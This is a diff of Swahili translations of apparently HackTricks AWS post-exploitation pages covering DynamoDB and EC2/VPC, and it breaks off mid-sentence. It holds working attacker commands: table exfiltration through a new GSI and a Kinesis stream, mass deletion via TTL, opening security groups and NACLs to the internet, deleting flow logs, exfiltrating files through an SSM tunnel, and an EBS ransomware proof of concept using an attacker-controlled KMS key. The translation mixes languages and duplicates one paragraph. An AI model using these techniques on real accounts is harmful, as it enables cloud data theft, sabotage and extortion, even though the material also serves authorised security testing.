`dynamodb:TransactWriteItems` kwenye jedwali lengwa (na item ya msingi). Hakuna ruhusa za kusoma zinahitajika. +Ruhusa: `dynamodb:TransactWriteItems` on the target table (and the underlying item). Hakuna ruhusa za kusoma zinahitajika. -Athari Inayoweza Kutokea: Kusoma items yoyote (kwa primary key) kutoka kwenye jedwali ukitumia tu ruhusa za kuandika za muamala kupitia sababu za kughairi (cancellation reasons) zilizorejeshwa. +Athari Zinawezekana: Soma vipengee vya hiari (kwa funguo kuu) kutoka kwenye jedwali ukitumia tu ruhusa za transactional write kupitia sababu za kukatizwa zilizorejeshwa. -### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI +### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` kwa GSI -Pitia vizuizi vya kusoma kwa kuunda Global Secondary Index (GSI) yenye `ProjectionType=ALL` kwenye sifa yenye entropy ya chini, weka sifa hiyo kuwa thamani thabiti kwa items zote, kisha `Query` index ili kupata items kamili. Hii inafanya kazi hata kama `Query`/`Scan` kwenye jedwali la msingi imekataliwa, mradi tu unaweza kuuliza ARN ya index. +Pitia vikwazo vya kusoma kwa kuunda Global Secondary Index (GSI) yenye `ProjectionType=ALL` kwenye attribute yenye entropy ndogo, weka attribute hiyo kuwa thamani ya kudumu kwa vipengee vyote, kisha `Query` index kupata vipengee kamili. Hii inafanya kazi hata kama `Query`/`Scan` kwenye jedwali la msingi imekataliwa, mradi tu unaweza ku-query ARN ya index. -- Minimum permissions: -- `dynamodb:UpdateTable` kwenye jedwali lengwa (kuunda GSI yenye `ProjectionType=ALL`). -- `dynamodb:UpdateItem` kwenye funguo za jedwali lengwa (kuweka sifa iliyowekwa kama index kwenye kila item). -- `dynamodb:Query` kwenye ARN ya rasilimali ya index (`arn:aws:dynamodb:::table//index/`). +- Ruhusa za chini: +- `dynamodb:UpdateTable` on the target table (kuunda GSI yenye `ProjectionType=ALL`). +- `dynamodb:UpdateItem` on the target table keys (kuweka attribute iliyofanyiwa index kwenye kila kipengee). +- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:::table//index/`). -Hatua (PoC katika us-east-1): +Hatua (PoC in us-east-1): ```bash # 1) Create table and seed items (without the future GSI attribute) aws dynamodb create-table --table-name HTXIdx \ @@ -461,17 +461,16 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` -**Athari Inayoweza Kutokea:** Uondoaji kamili wa data za jedwali kwa ku-query GSI mpya iliyotengenezwa ambayo inayoonyesha sifa zote, hata wakati APIs za kusoma za jedwali la msingi zimekataliwa. +**Athari Inayowezekana:** Full table exfiltration kwa kufanya query kwenye GSI mpya inayoprojekta all attributes, hata wakati base table read APIs zimetengwa. +### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams) -### `dynamodb:EnableKinesisStreamingDestination` (Uhamisho unaoendelea wa data kupitia Kinesis Data Streams) +Kutumia vibaya DynamoDB Kinesis streaming destinations ku-continuously exfiltrate mabadiliko kutoka kwenye jedwali kwenda kwenye attacker-controlled Kinesis Data Stream. Mara inapoamilishwa, kila INSERT/MODIFY/REMOVE event inatumwa karibu kwa wakati halisi kwenye stream bila kuhitaji read permissions kwenye jedwali. -Kutumia vibaya DynamoDB Kinesis streaming destinations kuendelea kutoa mabadiliko kutoka kwenye jedwali hadi Kinesis Data Stream inayodhibitiwa na mshambuliaji. Mara inapowezeshwa, kila tukio la INSERT/MODIFY/REMOVE linarushwa karibu kwa wakati halisi kwenye stream bila ya kuhitaji ruhusa za kusoma kwenye jedwali. - -Ruhusa za chini kabisa (mshambuliaji): +Ruhusa za chini kabisa (attacker): - `dynamodb:EnableKinesisStreamingDestination` kwenye jedwali lengwa -- Hiari `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` ili kufuatilia hali -- Ruhusa za kusoma kwenye Kinesis stream inayomilikiwa na mshambuliaji ili kusoma rekodi: `kinesis:*` +- Hiari `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` kwa kufuatilia hali +- Ruhusa za kusoma kwenye attacker-owned Kinesis stream ili kuchukua rekodi: `kinesis:*`
PoC (us-east-1) @@ -528,10 +527,45 @@ aws dynamodb disable-kinesis-streaming-destination \ aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ``` +### `dynamodb:UpdateTimeToLive` + +Muvamizi aliye na ruhusa ya dynamodb:UpdateTimeToLive anaweza kubadilisha usanidi wa TTL (time-to-live) wa jedwali — kuwezesha au kuzima TTL. Wakati TTL imewezeshwa, rekodi binafsi ambazo zina sifa ya TTL iliyosanidiwa zitafutwa moja kwa moja mara tu wakati wa kumalizika utakapofikiwa. Thamani ya TTL ni sifa nyingine tu kwenye kila rekodi; rekodi zisizo na sifa hiyo hazitaathiriwa na uondoaji unaotokana na TTL. + +Ikiwa rekodi hazijaisha kuwa na sifa ya TTL, muvamizi atahitaji pia ruhusa inayoruhusu kusasisha rekodi (kwa mfano dynamodb:UpdateItem) ili kuongeza sifa ya TTL na kusababisha ufutaji wa wingi. + +Kwanza wezesha TTL kwenye jedwali, ukibainisha jina la sifa litakalotumika kwa kuisha: +```bash +aws dynamodb update-time-to-live \ +--table-name \ +--time-to-live-specification "Enabled=true, AttributeName=" +``` +Kisha sasisha vitu ili kuongeza sifa ya TTL (epoch seconds) ili vitakapokwisha viondolewe: +```bash +aws dynamodb update-item \ +--table-name \ +--key '' \ +--update-expression "SET = :t" \ +--expression-attribute-values '{":t":{"N":""}}' +``` +### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime` + +Mshambuliaji aliye na ruhusa za `dynamodb:RestoreTableFromAwsBackup` au `dynamodb:RestoreTableToPointInTime` anaweza kuunda jedwali jipya lililorejeshwa kutoka kwa backups au kutoka kwa point-in-time recovery (PITR) bila kuandika juu ya jedwali la asili. Jedwali lililorejeshwa lina picha kamili ya data kwa wakati ulioteuliwa, hivyo mshambuliaji anaweza kulitumia ku-exfiltrate taarifa za kihistoria au kupata dump kamili ya hali ya zamani ya database. + +Rejesha jedwali la DynamoDB kutoka kwa on-demand backup: +```bash +aws dynamodb restore-table-from-backup \ +--target-table-name \ +--backup-arn +``` +Rejesha jedwali la DynamoDB kwa wakati maalum (tengeneza jedwali jipya lenye hali iliyorejeshwa): +```bash +aws dynamodb restore-table-to-point-in-time \ +--source-table-name \ +--target-table-name \ +--use-latest-restorable-time +````
-**Athari Inayoweza Kutokea:** Exfiltration endelevu, karibu kwa wakati halisi, ya mabadiliko ya jedwali kwa Kinesis stream inayodhibitiwa na mshambuliaji bila shughuli za kusoma za moja kwa moja kwenye jedwali. - - +**Athari Inayowezekana:** Kuendelea, karibu wakati-halisi exfiltration ya mabadiliko ya jedwali kwa attacker-controlled Kinesis stream bila direct read operations kwenye jedwali. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 6c896520d..221f9a832 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -4,26 +4,26 @@ ## EC2 & VPC -Kwa maelezo zaidi angalia: +Kwa taarifa zaidi angalia: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### **VPC Mirror Hatari -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` +### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **inajirudia trafiki ya kuingia na kutoka kwa EC2 instances ndani ya VPC** bila haja ya kusakinisha chochote kwenye instances hizo. Trafiki iliyorudishwa kawaida itatumwa kwa kitu kama network intrusion detection system (IDS) kwa uchambuzi na ufuatiliaji. -Mvamizi anaweza kutumia hili kunasa trafiki yote na kupata taarifa nyeti kutoka kwake: +VPC traffic mirroring **huiga nakala ya trafiki ya kuingia na kutoka kwa EC2 instances ndani ya VPC** bila hitaji la kusakinisha chochote kwenye instances hizo. Trafiki iliyonakiliwa kawaida hutumwa kwa kitu kama network intrusion detection system (IDS) kwa ajili ya uchambuzi na ufuatiliaji.\ +Muvamizi anaweza kuisababisha kutumika vibaya ili kukamata trafiki yote na kupata taarifa nyeti kutoka ndani yake: -Kwa maelezo zaidi angalia ukurasa huu: +Kwa taarifa zaidi angalia ukurasa huu: {{#ref}} aws-malicious-vpc-mirror.md {{#endref}} -### Nakili instance inayokimbia +### Copy Running Instance -Instances mara nyingi huwa na aina fulani ya taarifa nyeti. Kuna njia tofauti za kuingia ndani (angalia [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Hata hivyo, njia nyingine ya kuona kile kilicho ndani ni **kuunda AMI na kuendesha instance mpya (hata kwenye account yako) kutoka kwake**: +Instances kawaida zina aina fulani ya taarifa nyeti. Kuna njia tofauti za kuingia ndani (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Hata hivyo, njia nyingine ya kuchunguza ni **kuunda AMI na kuendesha instance mpya (hata kwenye account yako mwenyewe) kutoka kwake**: ```shell # List instances aws ec2 describe-images @@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Snapshots are backups of volumes**, ambazo kawaida zitakuwa na **habari nyeti**, kwa hiyo kuzichunguza kunapaswa kufichua taarifa hizi.\ -Ikiwa utapata **volume without a snapshot** unaweza: **Create a snapshot** na kufanya hatua zifuatazo au tu **mount it in an instance** ndani ya akaunti: +**Snapshots ni backups za volumes**, ambazo kawaida zitakuwa na **taarifa nyeti**, kwa hivyo kuzikagua kunapaswa kufichua taarifa hizi.\ +Kama ukipata **volume bila snapshot** unaweza: **kuunda snapshot** na kufanya vitendo vifuatavyo au tu **kuimount kwenye instance** ndani ya account: {{#ref}} aws-ebs-snapshot-dump.md @@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md ### Covert Disk Exfiltration via AMI Store-to-S3 -Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Hii inaruhusu forensics kamili offline au data theft wakati ikiacha networking ya instance bila kubadilika. +Export EC2 AMI moja kwa moja kwenda S3 kwa kutumia `CreateStoreImageTask` ili kupata raw disk image bila kushirikisha snapshot. Hii inaruhusu forensics kamili zisizo mtandaoni au wizi wa data huku networking ya instance ikibaki bila kubadilishwa. {{#ref}} aws-ami-store-s3-exfiltration.md @@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md ### Live Data Theft via EBS Multi-Attach -Unganisha io1/io2 Multi-Attach volume kwenye instance ya pili na ui-mountiwe read-only ili kunyonya live data bila snapshots. Inafaa wakati victim volume tayari ina Multi-Attach imewezeshwa ndani ya AZ ileile. +Attach volume ya io1/io2 Multi-Attach kwa instance ya pili na ui-mount kwa read-only ili kuchukua data zinazoendelea bila snapshots. Inafaa wakati volume ya mwathiriwa tayari ina Multi-Attach imewezeshwa ndani ya AZ ile ile. {{#ref}} aws-ebs-multi-attach-data-theft.md @@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md ### EC2 Instance Connect Endpoint Backdoor -Create an EC2 Instance Connect Endpoint, authorize ingress, na inject ephemeral SSH keys ili kupata private instances kupitia managed tunnel. Hii inatoa njia za haraka za lateral movement bila kufungua public ports. +Create EC2 Instance Connect Endpoint, authorize ingress, na inject ephemeral SSH keys ili kupata private instances kupitia managed tunnel. Hutoa njia za haraka za lateral movement bila kufungua public ports. {{#ref}} aws-ec2-instance-connect-endpoint-backdoor.md @@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md ### EC2 ENI Secondary Private IP Hijack -Hamisha secondary private IP ya ENI ya victim kwa ENI inayoendeshwa na attacker ili kuiga trusted hosts ambazo ziko allowlisted kwa IP. Inaruhusu kupitisha internal ACLs au SG rules zilizounganishwa na anwani maalum. +Hamisha secondary private IP ya ENI ya mwathiriwa kwenda ENI inayodhibitiwa na mshambulizi ili kujifanya kuwa host zinazotumika ambazo zime-allowlist kwa IP. Inaruhusu kupitisha ACLs za ndani au kanuni za SG zinazotegemea anwani maalum. {{#ref}} aws-eni-secondary-ip-hijack.md @@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md ### Elastic IP Hijack for Ingress/Egress Impersonation -Reassociate Elastic IP kutoka kwa instance ya victim kwenda kwa attacker ili kunasa inbound traffic au kuanzisha outbound connections zinazojiona zikitoka kwa trusted public IPs. +Reassociate Elastic IP kutoka kwa instance ya mwathiriwa kwenda kwa mshambulizi ili kukamata traffic inayoingia au kuanzisha connections zinazoonekana kutoka kwa public IPs zinazotumika kama za kuaminika. {{#ref}} aws-eip-hijack-impersonation.md @@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md ### Security Group Backdoor via Managed Prefix Lists -Ili sheria ya security group inamrejea customer-managed prefix list, kuongeza attacker CIDRs kwenye list hiyo kunapanua kimya kimya upatikanaji kwa kila dependent SG rule bila kuhariri SG yenyewe. +Kama rule ya security group inarejea customer-managed prefix list, kuongeza CIDRs za mshambulizi kwenye list hiyo kunapanua kwa utulivu ufikaji kwenye kila rule ya SG inayotegemea bila kubadilisha SG yenyewe. {{#ref}} aws-managed-prefix-list-backdoor.md @@ -106,15 +106,41 @@ aws-managed-prefix-list-backdoor.md ### VPC Endpoint Egress Bypass -Tengeneza gateway au interface VPC endpoints ili kupata tena outbound access kutoka isolated subnets. Kutumia AWS-managed private links kunapitisha controls za IGW/NAT zilizokosekana kwa data exfiltration. +Create gateway au interface VPC endpoints ili kupata upya outbound access kutoka subnets zilizotengwa. Kutumia AWS-managed private links kunapita controls za IGW/NAT zilizokosekana kwa ajili ya data exfiltration. {{#ref}} aws-vpc-endpoint-egress-bypass.md {{#endref}} +### `ec2:AuthorizeSecurityGroupIngress` + +Mshambulizi mwenye ruhusa ya `ec2:AuthorizeSecurityGroupIngress` anaweza kuongeza rules za inbound kwa security groups (kwa mfano, kuruhusu tcp:80 kutoka 0.0.0.0/0), hivyo kufichua services za ndani kwa Internet ya umma au mitandao isiyoidhinishwa. +```bash +aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 +``` +# `ec2:ReplaceNetworkAclEntry` +Mshambulizi mwenye ruhusa za ec2:ReplaceNetworkAclEntry (au sawa nazo) anaweza kubadilisha Network ACLs (NACLs) za subnet ili kuziacha zikiwa wazi sana — kwa mfano kuruhusu 0.0.0.0/0 kwenye ports muhimu — na hivyo kufichua anuwai nzima ya subnet kwa Mtandao au kwa sehemu za mtandao zisizoidhinishwa. Tofauti na Security Groups, ambazo zinatumika kwa kila instance, NACLs zinatumika ngazi ya subnet, hivyo kubadilisha NACL kali kunaweza kuwa na mzunguko wa athari mkubwa zaidi kwa kuruhusu ufikiaji kwa hosts wengi zaidi. +```bash +aws ec2 replace-network-acl-entry \ +--network-acl-id \ +--rule-number 100 \ +--protocol \ +--rule-action allow \ +--egress \ +--cidr-block 0.0.0.0/0 +``` +### `ec2:Delete*` + +Mshambulizi mwenye ruhusa za ec2:Delete* na iam:Remove* anaweza kufuta rasilimali muhimu za miundombinu na usanidi — kwa mfano key pairs, launch templates/versions, AMIs/snapshots, volumes au attachments, security groups au rules, ENIs/network endpoints, route tables, gateways, au managed endpoints. Hii inaweza kusababisha uvurugaji wa huduma mara moja, upotevu wa data, na kupoteza ushahidi wa forensics. + +Mfano mmoja ni kufuta security group: + +aws ec2 delete-security-group \ +--group-id + ### VPC Flow Logs Cross-Account Exfiltration -Elekeza VPC Flow Logs kwenye attacker-controlled S3 bucket ili kukusanya kwa mfululizo network metadata (source/destination, ports) nje ya akaunti ya victim kwa reconnaissance ya muda mrefu. +Elekeza VPC Flow Logs kwenda S3 bucket inayodhibitiwa na mshambuliaji ili kukusanya kwa muda wote metadata ya mtandao (source/destination, ports) nje ya akaunti ya waathiriwa kwa ajili ya long-term reconnaissance. {{#ref}} aws-vpc-flow-logs-cross-account-exfiltration.md @@ -124,9 +150,9 @@ aws-vpc-flow-logs-cross-account-exfiltration.md #### DNS Exfiltration -Hata kama umeweka EC2 kwa kufunga ili hakuna trafiki iweze kutoka nje, bado inaweza **exfil via DNS**. +Hata ukifunga EC2 kwa namna kwamba hakuna trafiki inayoweza kutoka, bado inaweza **exfil via DNS**. -- **VPC Flow Logs hazitarekodi hili**. +- **VPC Flow Logs haitarekodi hili**. - Huna ufikiaji wa AWS DNS logs. - Zima hili kwa kuweka "enableDnsSupport" kuwa false kwa: @@ -134,20 +160,20 @@ Hata kama umeweka EC2 kwa kufunga ili hakuna trafiki iweze kutoka nje, bado inaw #### Exfiltration via API calls -Attacker anaweza kuita API endpoints za akaunti anazodhibiti. Cloudtrail itarekodi miito hii na attacker ataweza kuona data iliyofukuliwa katika Cloudtrail logs. +Mshambulizi anaweza kuita API endpoints za akaunti anazodhibiti. Cloudtrail itarekodi wito hizi na mshambulizi ataweza kuona exfiltrate data katika Cloudtrail logs. ### Open Security Group -Unaweza kupata ufikiaji zaidi wa huduma za mtandao kwa kufungua ports kama ifuatavyo: +Unaweza kupata ufikiaji zaidi kwa huduma za mtandao kwa kufungua ports kama hivi: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` -### Privesc to ECS +### Privesc kwa ECS -Inawezekana kuendesha EC2 instance na kuisajili ili itumike kuendesha ECS instances, kisha kuiba data za ECS instances. +Inawezekana kuendesha EC2 instance na kuisajili ili itumike kuendesha ECS instances, kisha kuiba data za instances za ECS. -For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). +Kwa [**maelezo zaidi angalia hapa**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). ### Ondoa VPC flow logs ```bash @@ -155,68 +181,68 @@ aws ec2 delete-flow-logs --flow-log-ids --region ``` ### SSM Port Forwarding -Ruhusa zinazohitajika: +Idhini zinazohitajika: - `ssm:StartSession` -Mbali na utekelezaji wa amri, SSM inaruhusu uundaji wa tuneli ya trafiki (traffic tunneling) ambayo inaweza kutumiwa kuwezesha pivot kutoka kwa EC2 instances ambazo hazina upatikanaji wa mtandao kutokana na Security Groups au NACLs. -Moja ya mazingira ambapo hili ni muhimu ni pivoting kutoka [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) hadi private EKS cluster. +Mbali na utekelezaji wa amri, SSM inaruhusu traffic tunneling ambayo inaweza kutumiwa vibaya kwa ajili ya pivot kutoka kwenye EC2 instances ambazo hazina ufikaji wa mtandao kutokana na Security Groups au NACLs. +Moja ya matukio ambapo hii inakuwa muhimu ni pivoting kutoka kwa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) hadi private EKS cluster. > Ili kuanza session unahitaji SessionManagerPlugin imewekwa: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html 1. Sakinisha SessionManagerPlugin kwenye mashine yako -2. Ingia kwenye Bastion EC2 ukitumia amri ifuatayo: +2. Ingia kwenye Bastion EC2 kwa kutumia amri ifuatayo: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Pata kredensiali za muda za Bastion EC2 AWS kwa script ya [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) -4. Hamisha kredensiali kwenye mashine yako katika faili `$HOME/.aws/credentials` kama profaili `[bastion-ec2]` +3. Pata credentials za muda za Bastion EC2 AWS kwa kutumia script ya [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) +4. Hamisha credentials kwenye mashine yako katika faili `$HOME/.aws/credentials` kama profile `[bastion-ec2]` 5. Ingia kwenye EKS kama Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. Sasisha sehemu ya `server` katika faili `$HOME/.kube/config` ili kuelekeza kwa `https://localhost` -7. Tengeneza SSM tunnel kama ifuatavyo: +6. Sasisha sehemu ya `server` katika faili `$HOME/.kube/config` ili kuelekeza kwa `https://localhost` +7. Unda SSM tunnel kama ifuatavyo: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. Trafiki kutoka kwa zana ya `kubectl` sasa imepangwa kupitia tuneli ya SSM kupitia Bastion EC2 na unaweza kufikia klasta ya EKS ya kibinafsi kutoka kwenye mashine yako mwenyewe kwa kuendesha: +8. Trafiki kutoka kwa zana ya `kubectl` sasa imepelekwa kupitia SSM tunnel kupitia Bastion EC2 na unaweza kufikia EKS cluster binafsi kutoka kwenye mashine yako kwa kuendesha: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Kumbuka kuwa muunganiko wa SSL utashindwa isipokuwa ukiteua bendera `--insecure-skip-tls-verify` (au sawa yake katika zana za ukaguzi za K8s). Kwa kuwa trafiki inapitia kupitia mtaro salama wa AWS SSM, uko salama dhidi ya aina yoyote ya mashambulizi ya MitM. +Kumbuka kwamba muunganisho za SSL zitatofaulu isipokuwa ukiweka bendera `--insecure-skip-tls-verify` (au sawa nayo katika zana za ukaguzi za K8s). Kwa kuwa trafiki imepitishwa kupitia tuneli salama ya AWS SSM, uko salama dhidi ya aina yoyote ya mashambulizi ya MitM. -Hatimaye, mbinu hii si maalum kwa kushambulia private EKS clusters. Unaweza kuweka arbitrary domains na ports za pivot kwenda huduma nyingine yoyote ya AWS au custom application. +Hatimaye, mbinu hii si maalum kwa kushambulia private EKS clusters. Unaweza kuweka domains na ports yoyote ili ku-pivot kwenda kwa huduma nyingine ya AWS au programu maalum. --- #### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession) -Ikiwa unahitaji tu kupeleka mbele **one TCP port from the EC2 instance to your local host** unaweza kutumia the `AWS-StartPortForwardingSession` SSM document (no remote host parameter required): +Ikiwa unahitaji tu ku-forward **one TCP port from the EC2 instance to your local host** unaweza kutumia the `AWS-StartPortForwardingSession` SSM document (no remote host parameter required): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -Amri inaunda tundu la pande mbili kati ya workstation yako (`localPortNumber`) na bandari iliyochaguliwa (`portNumber`) kwenye instance **bila kufungua sheria zozote za inbound za Security-Group**. +Amri inaunda tunnel ya pande zote mbili kati ya workstation yako (`localPortNumber`) na port iliyochaguliwa (`portNumber`) kwenye instance **bila kufungua sheria yoyote za inbound za Security-Group**. Matumizi ya kawaida: * **File exfiltration** -1. Kwenye instance, anzisha HTTP server ya haraka inayolenga saraka unayotaka exfiltrate: +1. Kwenye instance anzisha HTTP server ya haraka inayorejea kwa directory unayotaka ku-exfiltrate: ```bash python3 -m http.server 8000 ``` -2. Kutoka kwenye workstation yako, pakua faili kupitia SSM tunnel: +2. Kutoka kwenye workstation yako pakua faili kupitia SSM tunnel: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` -* **Kupata programu za wavuti za ndani (mfano Nessus)** +* **Kupata programu za wavuti za ndani (e.g. Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -224,7 +250,7 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -Kidokezo: Finyaza na ficha kwa usimbaji ushahidi kabla ya exfiltrating ili CloudTrail isirekodi yaliyomo kwa maandishi wazi: +Ushauri: Compress and encrypt ushahidi kabla ya exfiltrating ili CloudTrail isirekodi maudhui ya clear-text: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' @@ -233,9 +259,9 @@ Kidokezo: Finyaza na ficha kwa usimbaji ushahidi kabla ya exfiltrating ili Cloud ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` -### Tafuta taarifa nyeti katika AMIs za umma na za binafsi +### Tafuta taarifa nyeti katika AMIs za umma na za kibinafsi -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ni zana iliyoundwa ili **kutafuta taarifa nyeti ndani ya Amazon Machine Images (AMIs) za umma au za binafsi**. Inafanya kwa otomatiki mchakato wa kuanzisha instances kutoka AMIs lengwa, ku-mount volumes zao, na kuchunguza siri au data nyeti zinazoweza kuwepo. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ni zana iliyoundwa ili **tafuta taarifa nyeti ndani ya Amazon Machine Images (AMIs) za umma au za kibinafsi**. Inafanya kiotomatiki mchakato wa kuanzisha instances kutoka AMIs zinazolengwa, mounting volumu zao, na kuchunguza kwa ajili ya secrets au data nyeti zinazoweza kuwepo. ### Shiriki EBS Snapshot ```bash @@ -243,9 +269,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -Hii ni ithibitisho la dhana linalofanana na maonyesho ya Ransomware yaliyotolewa katika noti za post-exploitation za S3. KMS inapaswa kubadilishwa jina kuwa RMS (Ransomware Management Service) kutokana na urahisi wake wa kutumika kusimba huduma mbalimbali za AWS. +Uthibitisho wa dhana unaofanana na maonyesho ya Ransomware yaliyoonyeshwa katika S3 post-exploitation notes. KMS inapaswa kubadilishwa jina kuwa RMS kwa Ransomware Management Service kutokana na urahisi wa kuitumia ku-encrypt huduma mbalimbali za AWS. -Kwanza, kutoka kwenye akaunti ya 'attacker' ya AWS, tengeneza customer managed key ndani ya KMS. Kwa mfano huu tutamwachia AWS kusimamia data za ufunguo zangu, lakini katika tukio halisi mhusika mwenye nia mbaya angehifadhi data za ufunguo nje ya udhibiti wa AWS. Badilisha sera ya ufunguo ili kuruhusu Principal wa akaunti yoyote ya AWS kutumia ufunguo. Kwa sera hii ya ufunguo, jina la akaunti lilikuwa 'AttackSim' na sheria ya sera inayoruhusu upatikanaji wote inaitwa 'Outside Encryption' +Kwanza kutoka kwa akaunti ya 'attacker' ya AWS, tengeneza customer managed key katika KMS. Kwa mfano huu tutamruhusu AWS kusimamia key data kwa niaba yangu, lakini katika mazingira ya uhalisia malicious actor atahifadhi key data nje ya udhibiti wa AWS. Badilisha key policy ili kuruhusu Principal yoyote wa akaunti ya AWS kutumia key hiyo. Kwa key policy hii, jina la akaunti lilikuwa 'AttackSim' na sheria ya sera inayoaruhusu ufikiaji wote inaitwa 'Outside Encryption' ``` { "Version": "2012-10-17", @@ -337,7 +363,7 @@ Kwanza, kutoka kwenye akaunti ya 'attacker' ya AWS, tengeneza customer managed k ] } ``` -Kanuni ya key policy inahitaji yafuatayo kuwekewa ili kuruhusu uwezo wa kuitumia ku-encrypt EBS volume: +The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume: - `kms:CreateGrant` - `kms:Decrypt` @@ -345,21 +371,43 @@ Kanuni ya key policy inahitaji yafuatayo kuwekewa ili kuruhusu uwezo wa kuitumia - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Sasa tukiwa na key inayoweza kufikiwa hadharani kutumia. Tunaweza kutumia account ya 'victim' ambayo ina baadhi ya EC2 instances zilizozinduliwa na EBS volumes zisizo-encrypted zilizounganishwa. EBS volumes za account ya 'victim' ndizo tunazolenga kwa encryption; shambulio hili linafanywa chini ya dhana ya uvunjaji wa account ya AWS yenye ruhusa za juu. +Sera ya key inahitaji yafuatayo kuwa imewezeshwa ili iweze kutumika kusimbua volume ya EBS: + +- `kms:CreateGrant` +- `kms:Decrypt` +- `kms:DescribeKey` +- `kms:GenerateDataKeyWithoutPlainText` +- `kms:ReEncrypt` + +Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Kama kwenye mfano wa S3 ransomware. Shambulio hili litatengeneza nakala za EBS volumes zilizounganishwa kwa kutumia snapshots, litumie key inayopatikana hadharani kutoka account ya 'attacker' ili ku-encrypt EBS volumes mpya, kisha liteke EBS volumes za awali kutoka kwa EC2 instances na 